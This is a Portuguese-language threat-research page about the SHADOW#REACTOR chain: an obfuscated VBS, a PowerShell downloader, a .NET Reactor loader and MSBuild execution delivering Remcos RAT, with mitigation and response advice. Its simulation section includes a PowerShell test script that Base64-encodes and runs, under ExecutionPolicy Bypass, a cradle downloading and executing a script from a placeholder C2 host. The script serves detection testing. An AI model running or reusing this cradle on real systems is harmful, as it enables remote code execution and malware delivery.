SOC Prime Bias: Médio

15 Jan 2026 15:51 UTC

SHADOW#REACTOR – PALCO TEMPORÁRIO SOMENTE TEXTO, .NET REACTOR, E IMPLANTAÇÃO IN-MEMORY REMCOS RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
SHADOW#REACTOR – PALCO TEMPORÁRIO SOMENTE TEXTO, .NET REACTOR, E IMPLANTAÇÃO IN-MEMORY REMCOS RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

SHADOW#REACTOR é uma cadeia de malware de múltiplos estágios para Windows que combina um lançador VBS ofuscado, um downloader baseado em PowerShell, artefatos de preparação apenas em texto, um carregador protegido pelo .NET Reactor e execução via MSBuild para, em última instância, implantar o trojan de acesso remoto Remcos (RAT).

Investigação

Pesquisadores reconstruíram o fluxo começando com um script VBS recuperado da infraestrutura do invasor, seguido por rotinas PowerShell que reconstroem e decodificam payloads de texto preparados. A cadeia procede com carregamento reflexivo, na memória, de um assembly .NET e uma transferência final para o MSBuild, que dispara a execução do Remcos RAT. O relatório documenta os componentes codificados em texto, a lógica de decriptação e os métodos de persistência usados para manter o acesso.

Mitigação

Aumente a cobertura de monitoramento para hosts e interpretadores de scripts, e impeça a execução de VBS/PowerShell a partir de caminhos graváveis pelo usuário sempre que possível. Adicione detecções para tráfego HTTP suspeito de saída para infraestrutura identificada, uso indevido de MSBuild e carregamento reflexivo de assembly .NET. Monitore padrões comuns de persistência, incluindo modificações de chave de execução e entradas de inicialização baseadas em atalhos.

Resposta

Se a atividade SHADOW#REACTOR for confirmada, isole o endpoint e elimine a cadeia completa de processos (wscript.exe → powershell.exe → msbuild.exe). Remova quaisquer arquivos de texto preparados e artefatos relacionados no registro, e remedeie deletando binários Remcos e blobs de configuração associados. Em seguida, realize uma análise forense completa para verificar qualquer comprometimento adicional e garantir a erradicação completa.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Checagem Preliminar de Telemetria & Baseline deve ter sido bem-sucedida.

Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    Um invasor com direitos limitados de movimento lateral deseja executar um payload remoto em um host Windows comprometido enquanto evita defesas típicas de bloqueio de scripts. Eles usam o PowerShell com -Bypass de ExecutionPolicy para ignorar restrições de política de execução. O payload malicioso é ofuscado como uma string codificada em Base64 que, quando decodificada, cria um System.Net.WebClient objeto para baixar um script PowerShell de um servidor C2 e invocá-lo. Esta combinação satisfaz todos os três critérios de detecção (Bypass de ExecutionPolicy, DeStringDeBase64, System.Net.WebClient).

  • Script de Teste de Regressão:

    #--------------------------------------------
    # Execução simulada de PowerShell malicioso
    #--------------------------------------------
    # 1. Criar um script remoto simples (somente para demonstração)
    $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
    # 2. Codificar o script em Base64
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
    $b64   = [Convert]::ToBase64String($bytes)
    # 3. Executar com Bypass de ExecutionPolicy e DeStringDeBase64
    PowerShell -ExecutionPolicy Bypass -Command "
        $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
        Invoke-Expression $decoded
    "
  • Comandos de Limpeza:

    # Remover qualquer payload baixado e parar processos persistentes do PowerShell
    Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
    Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue